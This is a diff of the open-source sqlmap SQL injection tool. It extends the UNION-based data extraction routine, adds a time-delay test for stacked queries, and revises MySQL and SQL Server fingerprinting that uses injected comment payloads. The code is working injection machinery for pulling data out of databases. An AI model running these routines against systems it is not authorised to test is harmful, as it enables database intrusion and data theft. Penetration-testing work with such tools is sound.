warnMsg += "retrieve the expression output through blind sql "
|
|
||||||
warnMsg += "injection technique"
|
if negLogMsg == "partial":
|
||||||
|
warnMsg += ", sqlmap will retrieve the query output "
|
||||||
|
warnMsg += "through blind sql injection technique"
|
||||||
|
|
||||||
logger.warn(warnMsg)
|
logger.warn(warnMsg)
|
||||||
|
|
||||||
return count
|
|
||||||
|
|
||||||
|
def unionUse(expression, direct=False, unescape=True, resetCounter=False):
|
||||||
def unionUse(expression):
|
|
||||||
"""
|
"""
|
||||||
This function tests for an inband SQL injection on the target
|
This function tests for an inband SQL injection on the target
|
||||||
url then call its subsidiary function to effectively perform an
|
url then call its subsidiary function to effectively perform an
|
||||||
inband SQL injection on the affected url
|
inband SQL injection on the affected url
|
||||||
"""
|
"""
|
||||||
|
|
||||||
count = 0
|
count = None
|
||||||
origExpr = expression
|
origExpr = expression
|
||||||
start = time.time()
|
start = time.time()
|
||||||
|
startLimit = 0
|
||||||
|
stopLimit = None
|
||||||
|
test = True
|
||||||
|
value = ""
|
||||||
|
|
||||||
|
global reqCount
|
||||||
|
|
||||||
|
if resetCounter == True:
|
||||||
|
reqCount = 0
|
||||||
|
|
||||||
if not kb.unionCount:
|
if not kb.unionCount:
|
||||||
unionTest()
|
unionTest()
|
||||||
@@ -113,42 +137,164 @@ def unionUse(expression):
|
|||||||
return
|
return
|
||||||
|
|
||||||
# Prepare expression with delimiters
|
# Prepare expression with delimiters
|
||||||
|
if unescape:
|
||||||
expression = agent.concatQuery(expression)
|
expression = agent.concatQuery(expression)
|
||||||
expression = unescaper.unescape(expression)
|
expression = unescaper.unescape(expression)
|
||||||
|
|
||||||
# Confirm the inband SQL injection and get the exact column
|
# Confirm the inband SQL injection and get the exact column
|
||||||
# position only once
|
# position only once
|
||||||
if not isinstance(kb.unionPosition, int):
|
if not isinstance(kb.unionPosition, int):
|
||||||
count = __unionPosition(count, expression)
|
__unionPosition(expression)
|
||||||
|
|
||||||
# Assure that the above function found the exploitable inband
|
# Assure that the above function found the exploitable full inband
|
||||||
# SQL injection position
|
# SQL injection position
|
||||||
if not isinstance(kb.unionPosition, int):
|
if not isinstance(kb.unionPosition, int):
|
||||||
|
__unionPosition(expression, True)
|
||||||
|
|
||||||
|
# Assure that the above function found the exploitable partial
|
||||||
|
# inband SQL injection position
|
||||||
|
if not isinstance(kb.unionPosition, int):
|
||||||
|
return
|
||||||
|
else:
|
||||||
|
conf.paramNegative = True
|
||||||
|
|
||||||
|
if conf.paramNegative == True and direct == False:
|
||||||
|
_, _, _, expressionFieldsList, expressionFields = agent.getFields(origExpr)
|
||||||
|
|
||||||
|
if len(expressionFieldsList) > 1:
|
||||||
|
infoMsg = "the SQL query provided has more than a field. "
|
||||||
|
infoMsg += "sqlmap will now unpack it into distinct queries "
|
||||||
|
infoMsg += "to be able to retrieve the output even if we "
|
||||||
|
infoMsg += "are in front of a partial inband sql injection"
|
||||||
|
logger.info(infoMsg)
|
||||||
|
|
||||||
|
# We have to check if the SQL query might return multiple entries
|
||||||
|
# and in such case forge the SQL limiting the query output one
|
||||||
|
# entry per time
|
||||||
|
# NOTE: I assume that only queries that get data from a table can
|
||||||
|
# return multiple entries
|
||||||
|
if " FROM " in expression:
|
||||||
|
limitRegExp = re.search(queries[kb.dbms].limitregexp, expression, re.I)
|
||||||
|
|
||||||
|
if limitRegExp:
|
||||||
|
if kb.dbms in ( "MySQL", "PostgreSQL" ):
|
||||||
|
limitGroupStart = queries[kb.dbms].limitgroupstart
|
||||||
|
limitGroupStop = queries[kb.dbms].limitgroupstop
|
||||||
|
|
||||||
|
if limitGroupStart.isdigit():
|
||||||
|
startLimit = int(limitRegExp.group(int(limitGroupStart)))
|
||||||
|
|
||||||
|
stopLimit = limitRegExp.group(int(limitGroupStop))
|
||||||
|
limitCond = int(stopLimit) > 1
|
||||||
|
|
||||||
|
elif kb.dbms in ( "Oracle", "Microsoft SQL Server" ):
|
||||||
|
limitCond = False
|
||||||
|
else:
|
||||||
|
limitCond = True
|
||||||
|
|
||||||
|
# I assume that only queries NOT containing a "LIMIT #, 1"
|
||||||
|
# (or similar depending on the back-end DBMS) can return
|
||||||
|
# multiple entries
|
||||||
|
if limitCond:
|
||||||
|
if limitRegExp:
|
||||||
|
stopLimit = int(stopLimit)
|
||||||
|
|
||||||
|
# From now on we need only the expression until the " LIMIT "
|
||||||
|
# (or similar, depending on the back-end DBMS) word
|
||||||
|
if kb.dbms in ( "MySQL", "PostgreSQL" ):
|
||||||
|
stopLimit += startLimit
|
||||||
|
untilLimitChar = expression.index(queries[kb.dbms].limitstring)
|
||||||
|
expression = expression[:untilLimitChar]
|
||||||
|
|
||||||
|
if not stopLimit or stopLimit <= 1:
|
||||||
|
if kb.dbms == "Oracle" and expression.endswith("FROM DUAL"):
|
||||||
|
test = False
|
||||||
|
else:
|
||||||
|
test = True
|
||||||
|
|
||||||
|
if test == True:
|
||||||
|
# Count the number of SQL query entries output
|
||||||
|
countFirstField = queries[kb.dbms].count % expressionFieldsList[0]
|
||||||
|
countedExpression = origExpr.replace(expressionFields, countFirstField, 1)
|
||||||
|
|
||||||
|
if re.search(" ORDER BY ", expression, re.I):
|
||||||
|
untilOrderChar = countedExpression.index(" ORDER BY ")
|
||||||
|
countedExpression = countedExpression[:untilOrderChar]
|
||||||
|
|
||||||
|
count = resume(countedExpression, None)
|
||||||
|
|
||||||
|
if not stopLimit:
|
||||||
|
if not count or not count.isdigit():
|
||||||
|
output = unionUse(countedExpression, direct=True)
|
||||||
|
|
||||||
|
if output:
|
||||||
|
count = parseUnionPage(output, countedExpression)
|
||||||
|
|
||||||
|
if count and count.isdigit() and int(count) > 0:
|
||||||
|
stopLimit = int(count)
|
||||||
|
|
||||||
|
infoMsg = "the SQL query provided returns "
|
||||||
|
infoMsg += "%d entries" % stopLimit
|
||||||
|
logger.info(infoMsg)
|
||||||
|
|
||||||
|
elif count and not count.isdigit():
|
||||||
|
warnMsg = "it was not possible to count the number "
|
||||||
|
warnMsg += "of entries for the SQL query provided. "
|
||||||
|
warnMsg += "sqlmap will assume that it returns only "
|
||||||
|
warnMsg += "one entry"
|
||||||
|
logger.warn(warnMsg)
|
||||||
|
|
||||||
|
stopLimit = 1
|
||||||
|
|
||||||
|
elif ( not count or int(count) == 0 ):
|
||||||
|
warnMsg = "the SQL query provided does not "
|
||||||
|
warnMsg += "return any output"
|
||||||
|
logger.warn(warnMsg)
|
||||||
|
|
||||||
return
|
return
|
||||||
|
|
||||||
|
elif ( not count or int(count) == 0 ) and ( not stopLimit or stopLimit == 0 ):
|
||||||
|
warnMsg = "the SQL query provided does not "
|
||||||
|
warnMsg += "return any output"
|
||||||
|
logger.warn(warnMsg)
|
||||||
|
|
||||||
|
return
|
||||||
|
|
||||||
|
for num in xrange(startLimit, stopLimit):
|
||||||
|
limitedExpr = agent.limitQuery(num, expression, expressionFieldsList)
|
||||||
|
output = unionUse(limitedExpr, direct=True, unescape=False)
|
||||||
|
|
||||||
|
if output:
|
||||||
|
value += output
|
||||||
|
|
||||||
|
return value
|
||||||
|
|
||||||
|
value = unionUse(expression, direct=True, unescape=False)
|
||||||
|
|
||||||
|
else:
|
||||||
# Forge the inband SQL injection request
|
# Forge the inband SQL injection request
|
||||||
query = agent.forgeInbandQuery(expression)
|
query = agent.forgeInbandQuery(expression)
|
||||||
payload = agent.payload(newValue=query)
|
payload = agent.payload(newValue=query)
|
||||||
|
|
||||||
logMsg = "query: %s" % query
|
infoMsg = "query: %s" % query
|
||||||
logger.info(logMsg)
|
logger.info(infoMsg)
|
||||||
|
|
||||||
# Perform the request
|
# Perform the request
|
||||||
resultPage = Request.queryPage(payload, content=True)
|
resultPage, _ = Request.queryPage(payload, content=True)
|
||||||
count += 1
|
reqCount += 1
|
||||||
|
|
||||||
if temp.start not in resultPage or temp.stop not in resultPage:
|
if temp.start not in resultPage or temp.stop not in resultPage:
|
||||||
return
|
return
|
||||||
|
|
||||||
duration = int(time.time() - start)
|
|
||||||
|
|
||||||
logMsg = "performed %d queries in %d seconds" % (count, duration)
|
|
||||||
logger.info(logMsg)
|
|
||||||
|
|
||||||
# Parse the returned page to get the exact inband
|
# Parse the returned page to get the exact inband
|
||||||
# sql injection output
|
# sql injection output
|
||||||
startPosition = resultPage.index(temp.start)
|
startPosition = resultPage.index(temp.start)
|
||||||
endPosition = resultPage.rindex(temp.stop) + len(temp.stop)
|
endPosition = resultPage.rindex(temp.stop) + len(temp.stop)
|
||||||
value = str(resultPage[startPosition:endPosition])
|
value = str(resultPage[startPosition:endPosition])
|
||||||
|
|
||||||
|
duration = int(time.time() - start)
|
||||||
|
|
||||||
|
infoMsg = "performed %d queries in %d seconds" % (reqCount, duration)
|
||||||
|
logger.info(infoMsg)
|
||||||
|
|
||||||
return value
|
return value
|
||||||
|
|||||||
@@ -22,22 +22,4 @@ with sqlmap; if not, write to the Free Software Foundation, Inc., 51
|
|||||||
Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
|
Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
|
||||||
"""
|
"""
|
||||||
|
|
||||||
|
pass
|
||||||
|
|
||||||
from lib.core.agent import agent
|
|
||||||
from lib.core.data import logger
|
|
||||||
from lib.core.data import paths
|
|
||||||
from lib.request.connect import Connect as Request
|
|
||||||
|
|
||||||
|
|
||||||
def passiveFuzzing():
|
|
||||||
logMsg = "executing passive fuzzing to retrieve DBMS error messages"
|
|
||||||
logger.info(logMsg)
|
|
||||||
|
|
||||||
fuzzVectors = open(paths.FUZZ_VECTORS, "r")
|
|
||||||
|
|
||||||
for fuzzVector in fuzzVectors:
|
|
||||||
fuzzVector = fuzzVector.replace("\r", "").replace("\n", "")
|
|
||||||
|
|
||||||
payload = agent.payload(newValue=fuzzVector)
|
|
||||||
Request.queryPage(payload)
|
|
||||||
60
lib/techniques/outband/stacked.py
Normal file
60
lib/techniques/outband/stacked.py
Normal file
@@ -0,0 +1,60 @@
|
|||||||
|
#!/usr/bin/env python
|
||||||
|
|
||||||
|
"""
|
||||||
|
$Id$
|
||||||
|
|
||||||
|
This file is part of the sqlmap project, http://sqlmap.sourceforge.net.
|
||||||
|
|
||||||
|
Copyright (c) 2006-2008 Bernardo Damele A. G. <bernardo.damele@gmail.com>
|
||||||
|
and Daniele Bellucci <daniele.bellucci@gmail.com>
|
||||||
|
|
||||||
|
sqlmap is free software; you can redistribute it and/or modify it under
|
||||||
|
the terms of the GNU General Public License as published by the Free
|
||||||
|
Software Foundation version 2 of the License.
|
||||||
|
|
||||||
|
sqlmap is distributed in the hope that it will be useful, but WITHOUT ANY
|
||||||
|
WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS
|
||||||
|
FOR A PARTICULAR PURPOSE. See the GNU General Public License for more
|
||||||
|
details.
|
||||||
|
|
||||||
|
You should have received a copy of the GNU General Public License along
|
||||||
|
with sqlmap; if not, write to the Free Software Foundation, Inc., 51
|
||||||
|
Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
|
||||||
|
"""
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
import time
|
||||||
|
|
||||||
|
from lib.core.data import kb
|
||||||
|
from lib.core.data import logger
|
||||||
|
from lib.core.data import queries
|
||||||
|
from lib.core.settings import SECONDS
|
||||||
|
from lib.request import inject
|
||||||
|
|
||||||
|
|
||||||
|
def stackedTest():
|
||||||
|
infoMsg = "testing stacked queries support on parameter "
|
||||||
|
infoMsg += "'%s'" % kb.injParameter
|
||||||
|
logger.info(infoMsg)
|
||||||
|
|
||||||
|
query = queries[kb.dbms].timedelay % SECONDS
|
||||||
|
start = time.time()
|
||||||
|
payload, _ = inject.goStacked(query)
|
||||||
|
duration = int(time.time() - start)
|
||||||
|
|
||||||
|
if duration >= SECONDS:
|
||||||
|
infoMsg = "the web application supports stacked queries "
|
||||||
|
infoMsg += "on parameter '%s'" % kb.injParameter
|
||||||
|
logger.info(infoMsg)
|
||||||
|
|
||||||
|
kb.stackedTest = payload
|
||||||
|
|
||||||
|
else:
|
||||||
|
warnMsg = "the web application does not support stacked queries "
|
||||||
|
warnMsg += "on parameter '%s'" % kb.injParameter
|
||||||
|
logger.warn(warnMsg)
|
||||||
|
|
||||||
|
kb.stackedTest = False
|
||||||
|
|
||||||
|
return kb.stackedTest
|
||||||
@@ -30,6 +30,7 @@ import urllib2
|
|||||||
|
|
||||||
from lib.core.convert import urlencode
|
from lib.core.convert import urlencode
|
||||||
from lib.core.data import conf
|
from lib.core.data import conf
|
||||||
|
from lib.core.data import kb
|
||||||
from lib.core.exception import sqlmapConnectionException
|
from lib.core.exception import sqlmapConnectionException
|
||||||
from lib.core.exception import sqlmapRegExprException
|
from lib.core.exception import sqlmapRegExprException
|
||||||
|
|
||||||
@@ -68,13 +69,9 @@ class Google:
|
|||||||
your Google dork search results
|
your Google dork search results
|
||||||
"""
|
"""
|
||||||
|
|
||||||
targetUrls = set()
|
|
||||||
|
|
||||||
for match in self.__matches:
|
for match in self.__matches:
|
||||||
if re.search("(.*?)\?(.+)", match, re.I):
|
if re.search("(.*?)\?(.+)", match, re.I):
|
||||||
targetUrls.add(match)
|
kb.targetUrls.add(( match, None, None, None ))
|
||||||
|
|
||||||
return targetUrls
|
|
||||||
|
|
||||||
|
|
||||||
def getCookie(self):
|
def getCookie(self):
|
||||||
|
|||||||
@@ -27,6 +27,7 @@ Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
|
|||||||
from lib.core.agent import agent
|
from lib.core.agent import agent
|
||||||
from lib.core.common import randomInt
|
from lib.core.common import randomInt
|
||||||
from lib.core.common import randomStr
|
from lib.core.common import randomStr
|
||||||
|
from lib.core.data import conf
|
||||||
from lib.core.data import kb
|
from lib.core.data import kb
|
||||||
from lib.core.data import logger
|
from lib.core.data import logger
|
||||||
from lib.core.exception import sqlmapNoneDataException
|
from lib.core.exception import sqlmapNoneDataException
|
||||||
@@ -40,14 +41,18 @@ def checkForParenthesis():
|
|||||||
is within the parenthesis.
|
is within the parenthesis.
|
||||||
"""
|
"""
|
||||||
|
|
||||||
if kb.parenthesis != None:
|
|
||||||
return kb.parenthesis
|
|
||||||
|
|
||||||
logMsg = "testing for parenthesis on injectable parameter"
|
logMsg = "testing for parenthesis on injectable parameter"
|
||||||
logger.info(logMsg)
|
logger.info(logMsg)
|
||||||
|
|
||||||
count = 0
|
count = 0
|
||||||
|
|
||||||
|
if kb.parenthesis != None:
|
||||||
|
return
|
||||||
|
|
||||||
|
if conf.prefix or conf.postfix:
|
||||||
|
kb.parenthesis = 0
|
||||||
|
return
|
||||||
|
|
||||||
for parenthesis in range(1, 4):
|
for parenthesis in range(1, 4):
|
||||||
query = agent.prefixQuery("%s " % (")" * parenthesis))
|
query = agent.prefixQuery("%s " % (")" * parenthesis))
|
||||||
query += "AND %s" % ("(" * parenthesis)
|
query += "AND %s" % ("(" * parenthesis)
|
||||||
|
|||||||
@@ -32,7 +32,7 @@ from lib.core.data import kb
|
|||||||
from lib.core.data import logger
|
from lib.core.data import logger
|
||||||
from lib.core.data import queries
|
from lib.core.data import queries
|
||||||
from lib.core.unescaper import unescaper
|
from lib.core.unescaper import unescaper
|
||||||
from lib.techniques.inference.blind import bisection
|
from lib.techniques.blind.inference import bisection
|
||||||
|
|
||||||
|
|
||||||
def queryOutputLength(expression, payload):
|
def queryOutputLength(expression, payload):
|
||||||
@@ -126,7 +126,7 @@ def resume(expression, payload):
|
|||||||
|
|
||||||
# If we called this function without providing a payload it means that
|
# If we called this function without providing a payload it means that
|
||||||
# we have called it from lib/request/inject __goInband() function
|
# we have called it from lib/request/inject __goInband() function
|
||||||
# in UNION SELECT (inband) SQL injection so we return to the calling
|
# in UNION query (inband) SQL injection so we return to the calling
|
||||||
# function so that the query output will be retrieved taking advantage
|
# function so that the query output will be retrieved taking advantage
|
||||||
# of the inband SQL injection vulnerability.
|
# of the inband SQL injection vulnerability.
|
||||||
if not payload:
|
if not payload:
|
||||||
|
|||||||
@@ -28,6 +28,7 @@ import time
|
|||||||
|
|
||||||
from lib.core.agent import agent
|
from lib.core.agent import agent
|
||||||
from lib.core.common import dataToStdout
|
from lib.core.common import dataToStdout
|
||||||
|
from lib.core.common import formatDBMSfp
|
||||||
from lib.core.common import formatFingerprint
|
from lib.core.common import formatFingerprint
|
||||||
from lib.core.common import getHtmlErrorFp
|
from lib.core.common import getHtmlErrorFp
|
||||||
from lib.core.common import randomInt
|
from lib.core.common import randomInt
|
||||||
@@ -35,7 +36,6 @@ from lib.core.common import readInput
|
|||||||
from lib.core.data import conf
|
from lib.core.data import conf
|
||||||
from lib.core.data import kb
|
from lib.core.data import kb
|
||||||
from lib.core.data import logger
|
from lib.core.data import logger
|
||||||
from lib.core.data import paths
|
|
||||||
from lib.core.data import queries
|
from lib.core.data import queries
|
||||||
from lib.core.exception import sqlmapNoneDataException
|
from lib.core.exception import sqlmapNoneDataException
|
||||||
from lib.core.exception import sqlmapSyntaxException
|
from lib.core.exception import sqlmapSyntaxException
|
||||||
@@ -43,10 +43,8 @@ from lib.core.session import setDbms
|
|||||||
from lib.core.settings import MSSQL_ALIASES
|
from lib.core.settings import MSSQL_ALIASES
|
||||||
from lib.core.settings import MSSQL_SYSTEM_DBS
|
from lib.core.settings import MSSQL_SYSTEM_DBS
|
||||||
from lib.core.unescaper import unescaper
|
from lib.core.unescaper import unescaper
|
||||||
from lib.parse.banner import bannerParser
|
|
||||||
from lib.request import inject
|
from lib.request import inject
|
||||||
from lib.request.connect import Connect as Request
|
from lib.request.connect import Connect as Request
|
||||||
#from lib.utils.fuzzer import passiveFuzzing
|
|
||||||
|
|
||||||
from plugins.generic.enumeration import Enumeration
|
from plugins.generic.enumeration import Enumeration
|
||||||
from plugins.generic.filesystem import Filesystem
|
from plugins.generic.filesystem import Filesystem
|
||||||
@@ -124,16 +122,32 @@ class MSSQLServerMap(Fingerprint, Enumeration, Filesystem, Takeover):
|
|||||||
|
|
||||||
|
|
||||||
def getFingerprint(self):
|
def getFingerprint(self):
|
||||||
actVer = formatFingerprint()
|
value = ""
|
||||||
|
wsOsFp = formatFingerprint("web server", kb.headersFp)
|
||||||
|
|
||||||
if not conf.extensiveFp:
|
if wsOsFp:
|
||||||
return actVer
|
value += "%s\n" % wsOsFp
|
||||||
|
|
||||||
blank = " " * 16
|
|
||||||
value = "active fingerprint: %s" % actVer
|
|
||||||
|
|
||||||
if self.banner:
|
if self.banner:
|
||||||
release, version, servicepack = bannerParser(self.banner, paths.MSSQL_XML)
|
dbmsOsFp = formatFingerprint("back-end DBMS", kb.bannerFp)
|
||||||
|
|
||||||
|
if dbmsOsFp:
|
||||||
|
value += "%s\n" % dbmsOsFp
|
||||||
|
|
||||||
|
value += "back-end DBMS: "
|
||||||
|
actVer = formatDBMSfp()
|
||||||
|
|
||||||
|
if not conf.extensiveFp:
|
||||||
|
value += actVer
|
||||||
|
return value
|
||||||
|
|
||||||
|
blank = " " * 15
|
||||||
|
value += "active fingerprint: %s" % actVer
|
||||||
|
|
||||||
|
if kb.bannerFp:
|
||||||
|
release = kb.bannerFp["dbmsRelease"]
|
||||||
|
version = kb.bannerFp["dbmsVersion"]
|
||||||
|
servicepack = kb.bannerFp["dbmsServicePack"]
|
||||||
|
|
||||||
if release and version and servicepack:
|
if release and version and servicepack:
|
||||||
banVer = "Microsoft SQL Server %s " % release
|
banVer = "Microsoft SQL Server %s " % release
|
||||||
@@ -142,11 +156,10 @@ class MSSQLServerMap(Fingerprint, Enumeration, Filesystem, Takeover):
|
|||||||
|
|
||||||
value += "\n%sbanner parsing fingerprint: %s" % (blank, banVer)
|
value += "\n%sbanner parsing fingerprint: %s" % (blank, banVer)
|
||||||
|
|
||||||
#passiveFuzzing()
|
htmlErrorFp = getHtmlErrorFp()
|
||||||
htmlParsed = getHtmlErrorFp()
|
|
||||||
|
|
||||||
if htmlParsed:
|
if htmlErrorFp:
|
||||||
value += "\n%shtml error message fingerprint: %s" % (blank, htmlParsed)
|
value += "\n%shtml error message fingerprint: %s" % (blank, htmlErrorFp)
|
||||||
|
|
||||||
return value
|
return value
|
||||||
|
|
||||||
@@ -155,6 +168,8 @@ class MSSQLServerMap(Fingerprint, Enumeration, Filesystem, Takeover):
|
|||||||
if conf.dbms in MSSQL_ALIASES and kb.dbmsVersion and kb.dbmsVersion[0].isdigit():
|
if conf.dbms in MSSQL_ALIASES and kb.dbmsVersion and kb.dbmsVersion[0].isdigit():
|
||||||
setDbms("Microsoft SQL Server %s" % kb.dbmsVersion[0])
|
setDbms("Microsoft SQL Server %s" % kb.dbmsVersion[0])
|
||||||
|
|
||||||
|
self.getPrematureBanner("@@VERSION")
|
||||||
|
|
||||||
if not conf.extensiveFp:
|
if not conf.extensiveFp:
|
||||||
return True
|
return True
|
||||||
|
|
||||||
@@ -180,11 +195,7 @@ class MSSQLServerMap(Fingerprint, Enumeration, Filesystem, Takeover):
|
|||||||
else:
|
else:
|
||||||
setDbms("Microsoft SQL Server")
|
setDbms("Microsoft SQL Server")
|
||||||
|
|
||||||
if not conf.extensiveFp:
|
self.getPrematureBanner("@@VERSION")
|
||||||
return True
|
|
||||||
|
|
||||||
if conf.getBanner:
|
|
||||||
self.banner = inject.getValue("@@VERSION")
|
|
||||||
|
|
||||||
return True
|
return True
|
||||||
else:
|
else:
|
||||||
@@ -195,7 +206,8 @@ class MSSQLServerMap(Fingerprint, Enumeration, Filesystem, Takeover):
|
|||||||
|
|
||||||
|
|
||||||
def getPrivileges(self):
|
def getPrivileges(self):
|
||||||
warnMsg = "on MySQL is it not possible to fetch database users privileges"
|
warnMsg = "on Microsoft SQL Server it is not possible to fetch "
|
||||||
|
warnMsg += "database users privileges"
|
||||||
logger.warn(warnMsg)
|
logger.warn(warnMsg)
|
||||||
|
|
||||||
return {}
|
return {}
|
||||||
|
|||||||
@@ -28,6 +28,7 @@ import re
|
|||||||
|
|
||||||
from lib.core.agent import agent
|
from lib.core.agent import agent
|
||||||
from lib.core.common import fileToStr
|
from lib.core.common import fileToStr
|
||||||
|
from lib.core.common import formatDBMSfp
|
||||||
from lib.core.common import formatFingerprint
|
from lib.core.common import formatFingerprint
|
||||||
from lib.core.common import getDirectories
|
from lib.core.common import getDirectories
|
||||||
from lib.core.common import getHtmlErrorFp
|
from lib.core.common import getHtmlErrorFp
|
||||||
@@ -45,7 +46,6 @@ from lib.core.shell import autoCompletion
|
|||||||
from lib.core.unescaper import unescaper
|
from lib.core.unescaper import unescaper
|
||||||
from lib.request import inject
|
from lib.request import inject
|
||||||
from lib.request.connect import Connect as Request
|
from lib.request.connect import Connect as Request
|
||||||
#from lib.utils.fuzzer import passiveFuzzing
|
|
||||||
|
|
||||||
from plugins.generic.enumeration import Enumeration
|
from plugins.generic.enumeration import Enumeration
|
||||||
from plugins.generic.filesystem import Filesystem
|
from plugins.generic.filesystem import Filesystem
|
||||||
@@ -128,7 +128,7 @@ class MySQLMap(Fingerprint, Enumeration, Filesystem, Takeover):
|
|||||||
logMsg = "executing MySQL comment injection fingerprint"
|
logMsg = "executing MySQL comment injection fingerprint"
|
||||||
logger.info(logMsg)
|
logger.info(logMsg)
|
||||||
|
|
||||||
query = agent.prefixQuery("/* NoValue */")
|
query = agent.prefixQuery(" /* NoValue */")
|
||||||
query = agent.postfixQuery(query)
|
query = agent.postfixQuery(query)
|
||||||
payload = agent.payload(newValue=query)
|
payload = agent.payload(newValue=query)
|
||||||
result = Request.queryPage(payload)
|
result = Request.queryPage(payload)
|
||||||
@@ -142,12 +142,12 @@ class MySQLMap(Fingerprint, Enumeration, Filesystem, Takeover):
|
|||||||
# MySQL valid versions updated at 10/2008
|
# MySQL valid versions updated at 10/2008
|
||||||
versions = (
|
versions = (
|
||||||
(32200, 32233), # MySQL 3.22
|
(32200, 32233), # MySQL 3.22
|
||||||
(32300, 32354), # MySQL 3.23
|
(32300, 32359), # MySQL 3.23
|
||||||
(40000, 40024), # MySQL 4.0
|
(40000, 40031), # MySQL 4.0
|
||||||
(40100, 40122), # MySQL 4.1
|
(40100, 40125), # MySQL 4.1
|
||||||
(50000, 50072), # MySQL 5.0
|
(50000, 50074), # MySQL 5.0
|
||||||
(50100, 50129), # MySQL 5.1
|
(50100, 50131), # MySQL 5.1
|
||||||
(60000, 60008), # MySQL 6.0
|
(60000, 60009), # MySQL 6.0
|
||||||
)
|
)
|
||||||
|
|
||||||
for element in versions:
|
for element in versions:
|
||||||
@@ -156,12 +156,15 @@ class MySQLMap(Fingerprint, Enumeration, Filesystem, Takeover):
|
|||||||
for version in range(element[0], element[1] + 1):
|
for version in range(element[0], element[1] + 1):
|
||||||
randInt = randomInt()
|
randInt = randomInt()
|
||||||
version = str(version)
|
version = str(version)
|
||||||
query = agent.prefixQuery("/*!%s AND %d=%d*/" % (version, randInt, randInt + 1))
|
query = agent.prefixQuery(" /*!%s AND %d=%d*/" % (version, randInt, randInt + 1))
|
||||||
query = agent.postfixQuery(query)
|
query = agent.postfixQuery(query)
|
||||||
payload = agent.payload(newValue=query)
|
payload = agent.payload(newValue=query)
|
||||||
result = Request.queryPage(payload)
|
result = Request.queryPage(payload)
|
||||||
|
|
||||||
if result == kb.defaultResult:
|
if result == kb.defaultResult:
|
||||||
|
if not prevVer:
|
||||||
|
prevVer = version
|
||||||
|
|
||||||
if version[0] == "3":
|
if version[0] == "3":
|
||||||
midVer = prevVer[1:3]
|
midVer = prevVer[1:3]
|
||||||
else:
|
else:
|
||||||
@@ -177,33 +180,47 @@ class MySQLMap(Fingerprint, Enumeration, Filesystem, Takeover):
|
|||||||
|
|
||||||
|
|
||||||
def getFingerprint(self):
|
def getFingerprint(self):
|
||||||
actVer = formatFingerprint()
|
value = ""
|
||||||
|
wsOsFp = formatFingerprint("web server", kb.headersFp)
|
||||||
|
|
||||||
if not conf.extensiveFp:
|
if wsOsFp:
|
||||||
return actVer
|
value += "%s\n" % wsOsFp
|
||||||
|
|
||||||
blank = " " * 16
|
|
||||||
value = "active fingerprint: %s" % actVer
|
|
||||||
comVer = self.__commentCheck()
|
|
||||||
|
|
||||||
if comVer:
|
|
||||||
comVer = formatFingerprint([comVer])
|
|
||||||
value += "\n%scomment injection fingerprint: %s" % (blank, comVer)
|
|
||||||
|
|
||||||
if self.banner:
|
if self.banner:
|
||||||
banVer = re.search("^([\d\.]+)", self.banner)
|
dbmsOsFp = formatFingerprint("back-end DBMS", kb.bannerFp)
|
||||||
banVer = banVer.groups()[0]
|
|
||||||
|
if dbmsOsFp:
|
||||||
|
value += "%s\n" % dbmsOsFp
|
||||||
|
|
||||||
|
value += "back-end DBMS: "
|
||||||
|
actVer = formatDBMSfp()
|
||||||
|
|
||||||
|
if not conf.extensiveFp:
|
||||||
|
value += actVer
|
||||||
|
return value
|
||||||
|
|
||||||
|
comVer = self.__commentCheck()
|
||||||
|
blank = " " * 15
|
||||||
|
value += "active fingerprint: %s" % actVer
|
||||||
|
|
||||||
|
if comVer:
|
||||||
|
comVer = formatDBMSfp([comVer])
|
||||||
|
value += "\n%scomment injection fingerprint: %s" % (blank, comVer)
|
||||||
|
|
||||||
|
if kb.bannerFp:
|
||||||
|
# TODO: move to the XML banner file
|
||||||
|
banVer = kb.bannerFp["dbmsVersion"]
|
||||||
|
|
||||||
if re.search("-log$", self.banner):
|
if re.search("-log$", self.banner):
|
||||||
banVer += ", logging enabled"
|
banVer += ", logging enabled"
|
||||||
banVer = formatFingerprint([banVer])
|
|
||||||
|
|
||||||
|
banVer = formatDBMSfp([banVer])
|
||||||
value += "\n%sbanner parsing fingerprint: %s" % (blank, banVer)
|
value += "\n%sbanner parsing fingerprint: %s" % (blank, banVer)
|
||||||
|
|
||||||
#passiveFuzzing()
|
htmlErrorFp = getHtmlErrorFp()
|
||||||
htmlParsed = getHtmlErrorFp()
|
|
||||||
|
|
||||||
if htmlParsed:
|
if htmlErrorFp:
|
||||||
value += "\n%shtml error message fingerprint: %s" % (blank, htmlParsed)
|
value += "\n%shtml error message fingerprint: %s" % (blank, htmlErrorFp)
|
||||||
|
|
||||||
return value
|
return value
|
||||||
|
|
||||||
@@ -223,6 +240,8 @@ class MySQLMap(Fingerprint, Enumeration, Filesystem, Takeover):
|
|||||||
if int(kb.dbmsVersion[0]) >= 5:
|
if int(kb.dbmsVersion[0]) >= 5:
|
||||||
self.has_information_schema = True
|
self.has_information_schema = True
|
||||||
|
|
||||||
|
self.getPrematureBanner("VERSION()")
|
||||||
|
|
||||||
if not conf.extensiveFp:
|
if not conf.extensiveFp:
|
||||||
return True
|
return True
|
||||||
|
|
||||||
@@ -249,6 +268,8 @@ class MySQLMap(Fingerprint, Enumeration, Filesystem, Takeover):
|
|||||||
setDbms("MySQL 5")
|
setDbms("MySQL 5")
|
||||||
self.has_information_schema = True
|
self.has_information_schema = True
|
||||||
|
|
||||||
|
self.getPrematureBanner("VERSION()")
|
||||||
|
|
||||||
if not conf.extensiveFp:
|
if not conf.extensiveFp:
|
||||||
kb.dbmsVersion = [">= 5.0.0"]
|
kb.dbmsVersion = [">= 5.0.0"]
|
||||||
return True
|
return True
|
||||||
@@ -282,10 +303,6 @@ class MySQLMap(Fingerprint, Enumeration, Filesystem, Takeover):
|
|||||||
# Or if it is MySQL >= 5.0.0 and < 5.1.2
|
# Or if it is MySQL >= 5.0.0 and < 5.1.2
|
||||||
elif inject.getValue("MID(@@hostname, 1, 1)"):
|
elif inject.getValue("MID(@@hostname, 1, 1)"):
|
||||||
kb.dbmsVersion = [">= 5.0.38", "< 5.1.2"]
|
kb.dbmsVersion = [">= 5.0.38", "< 5.1.2"]
|
||||||
# NOTE: MySQL 5.0.12 introduced SLEEP() function
|
|
||||||
# References:
|
|
||||||
# * http://dev.mysql.com/doc/refman/5.0/en/news-5-0-12.html
|
|
||||||
